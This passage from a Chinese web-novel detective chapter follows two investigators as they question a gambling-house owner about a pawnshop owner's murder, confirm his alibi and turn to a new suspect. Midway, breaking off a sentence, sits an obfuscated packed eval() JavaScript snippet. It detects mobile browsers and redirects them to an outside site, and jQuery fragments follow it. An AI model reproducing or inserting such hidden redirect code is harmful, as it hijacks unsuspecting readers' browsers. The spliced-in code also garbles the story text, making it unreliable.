“林东家?”
“哎……这……”秦六爷躺在地上抓耳挠腮,他自然是认识林家当铺的东家,并且不仅认识,前不久他还因为窥视别人的店铺,骗了林家当铺的东家来了赌坊,狠狠地宰了对方一笔。
难道,对方因此报了官?
秦六爷想到这一点,眼珠子一转,连忙道:“冤枉啊。大人,这赌坊的赌博本来就是你情我愿的事情,那林家当铺的东家是自愿跟着我来赌坊玩的,如今他输了钱,怎么能怪到我头上呢?”
“我可没有将刀架在他脖子上逼着他赌博啊。”
……
最多,最多只是哄骗他来了赌坊而已。
闻言,唐虞与齐寰对视一眼,两人眼底纷纷闪过了一丝疑惑,怎么听着秦六爷话里话外的意思,这人好像不知道林家当铺的东家的死讯,难道凶手并非秦六爷?!
然而,仅凭着秦六爷的一面之词,还是难以令人信服。唐虞追问道:“我问你,上一次你带人到林家当铺的东家的当铺里闹事是什么时候?”
“闹事?”秦六爷装糊涂,“大人,我可是规规矩矩的好人,怎么会去林家当铺闹事了,明明是他欠我的钱,我带着人去要罢了。”
“少说废话!”齐寰没唐虞这么好的耐心,只见他冷冷地扫过去一个眼刀,立刻吓得秦六爷缩了缩脖子。
“说!你最后一次去林家当铺是什么时候?”
“上个月。”秦六爷老老实实道。
“可有说谎?”
“不曾,不曾。”秦六爷道:“若是大人不相信,大可以问问我手底下的人……我们赌坊每天这么多事,我怎么有空天天去林家当铺要债,自从上个月见了林东家,他承诺在一个月之内将钱凑齐了给我之后,我便没有再见过他了。”
齐寰见秦六爷态度诚恳,料想他并不敢说谎,只是齐寰与唐虞将时间线一推算,突然发现有一些蹊跷。如果情况真的如秦六爷说得一样,那秦六爷与林东家已经有很长一段时间没有见面了,林东家若是因为秦老爷催债的原因要寻死,中间也不该隔了这么久。
若说是因为到了秦六爷要钱的期限,林东家实在撑不住了才想着自尽,那林东家为何又要在当铺里挂上了转让的信息。这一切的一切都证明林东家是不想死的,而且凶手的分尸方法何其残忍,简直像是对林东家恨之入骨了。
“到底怎么了?大人?”秦六爷见唐虞与齐寰面色有异,不由出声询问道。
唐虞道:“你可知,林东家已经死了。”
“死了?!”
秦六爷震惊地瞪大了眼睛,这惊讶的表情如果是表演出来的,那唐虞不得不佩服他了。
“这人好端端地怎么会死……明明我上个月才见过他。”秦六爷喃喃道。
“怎么?你不知道他的死讯?”唐虞逼问道:“林东家是死于他杀,经过重重调查,我们怀疑你与这一桩案件有牵扯。”
先前秦六爷一直在猜测唐虞与齐寰的身份,如今听到唐虞提到关于林东家被分尸的案件,他终于意识到两人是衙门的人,并且因为林东家的死怀疑到了他的头上!!
想通之后,秦六爷立刻不淡定了,他连声喊着冤枉:“大人……冤枉,我冤枉啊,这一段时间我未曾见过林东家,如今他突然死了,我也是方才知道,他的死跟我没有关系啊!!”
唐虞道:“没有关系?你敢说不是自己设计骗他到赌坊骗取他的钱财?他死之后,却还有一堆赌债未消,岂不是能让你名正言顺地霸占他的店铺?”
“林东家之死,最大的受益者就是你,你还敢说跟自己没有关系?还不快从实召来!”
换作之前,唐虞查案必然不会在没有掌握确切的证据之后,逼问杀人凶手,以免走漏风声,打草惊蛇。然而,这一次的唐虞隐隐约约有一种感觉,她总觉得秦六爷不是真正的杀人凶手,所以,她想先试一试秦六爷的态度。
果然,秦六爷听到唐虞的怀疑之后,直接以头抢地,他痛哭流涕道:“大人……这件事真的不是我做的啊。”
“我只是贪图林家的财产,并不想要他的命。再说了,他都已经答应还我的赌债了,好端端地我何苦将他逼死呢?”
秦六爷解释道:“大人……我根本不知道林东家是何时死的,我前两日去了临县,方才刚刚回来啊。”
秦六爷去了外地,方才回来?!那他岂不是有不在场的证明。
“你如何证明你当时不在此地,而是去了别的地方?”唐虞微微蹙眉道。
秦六爷立刻道:“我有人证!大人,这一次我去外地是跟着一个商队去做点小生意,整个商队的人都可以给我证明!!”
“大人……我真的是冤枉的啊……”
唐虞见秦六爷说得信誓旦旦,于是朝着齐寰使了一个眼色,齐寰会意之后,立刻又传了赌坊里的另外几个人为秦六爷作证。经过一番详细调查之后,唐虞与齐寰发现秦六爷并没有说谎,他确实跟着商队去了一段时间在地,这段时间,他有充份的不在场的证明。
“纵使这样,你还养着这么多手下,想要杀一个人不必自己亲自动手。”此刻,唐虞已经相信自己的直觉信了七八分,确信秦六爷并不是杀人凶手。不过,唐虞仍旧没有排除秦六爷身上的嫌疑。
更何况,秦六爷暗地里在赌场做一些坑蒙拐骗的事,哪怕林家当铺的东家不是他杀的,那他开设赌坊的行为已经触犯了当朝的律法了。
所以,唐虞并不打算放过秦六爷。
天亮以后,衙门就来了人,查封了整个赌坊,并且将秦六爷带走下狱。
此时此刻,秦六爷还以为唐虞与齐寰在怀疑他是杀人凶手,他拼命地挣扎,试图为自己辩解。
“大人……等等……你们先别抓我走……”
“我想起来了一件重要的事!说不定与林东家的死因有关!”
闻言,齐寰一抬手,衙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864113|173730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
役立刻将秦六爷押到了他的面前。
“说吧。什么事?”齐寰淡淡道。
到了这种时候了,秦六爷哪里还敢说谎。
他老老实实道:“大人……这林东家真的不是我杀的……此事与我无关,不过……我知道林东家最近跟一个人走得很近,此人说不定有嫌疑。”
“此人姓刘,诨名叫做刘大,乃是我们赌坊的常客,先前林东家曾在赌场跟刘大有过冲突,两人还在我的赌场打了一架,砸坏了不少东西呢。”说罢,秦六爷脸上还露出了肉疼的神色。
“打架?你是说林东家和这个刘大打了架,因为何事?”唐虞询问道。
“具体的情况我也不知道……只是他们打架的时候我去劝过架,难免站的近了一些,听到林东家嘴里振振有词……说刘大经常去骚扰他夫人孙氏,警告刘大离他的夫人远一点。”
闻言,齐寰与唐虞同时陷入了沉思。先前他们在林家当铺审问孙氏时,孙氏可是半点没有提到这一位跟林东家打了架的刘大,难道孙氏是在刻意隐瞒?两人之间有什么猫腻?
“你刚刚说的话可当真?”齐寰冷冷道。
“当真!大人!我对天发誓,我说的句句属实。那天刘大和林东家在赌坊打架的时候,好多人都看见了,大人只需要找几个赌坊的常客一问,便知道我说的话是真是假……大人,我绝对不敢骗您啊。”秦六爷连忙道。
齐寰沉思了片刻,最终一挥手道:“带走。”
随即,衙役将秦六爷给带了下去……而后者还在一个劲儿地喊着冤枉。
“没想到这一桩案子一环扣着一环,稍微一查,居然牵扯出了这么多人。”齐寰忍不住感叹道:“难道秦六爷真的不是凶手,林家当铺的东家是死于情杀?”
“说不准。”唐虞分析道:“既然不是为了财,那凶手就极有可能与林东家有仇。不如大人先派人去查一查这个刘大到底是做什么的?探一探他的底细。”
齐寰微微颔首,“这么一想,倒是真有可能是刘大,如果刘大和孙氏有牵扯,林家当铺的东家一死,两人就可以顺理成章的在一起,刘大报了仇,孙氏帮他隐瞒了作案的过程,因此我们才会遇到这么离奇的密室分尸案。”
“事不宜迟,那就立刻去查一查刘大吧。免得对方听到了风声,提前跑了。”
此刻天色已经亮了,唐虞与齐寰都困倦得不行,尤其是唐虞,已经累得站都站不稳了。齐寰看着唐虞眼睛都睁不开的模样,一方面觉得好笑,一方面又有些心疼。
齐寰不忍心再折腾唐虞,只道:“你先回去休息吧。我派高叶与刘卓去查刘大。”
唐虞虽然想去,但实在力不从心,只得点了点头回县衙睡大觉了。约莫是因为太累了,这一觉,唐虞从天亮睡到了天黑,直到屋外隐隐约约传来动静,她方才苏醒。
“师父,你醒了吗?!快起来,我告诉你一个好消息。”门外传来刘卓欢快的声音。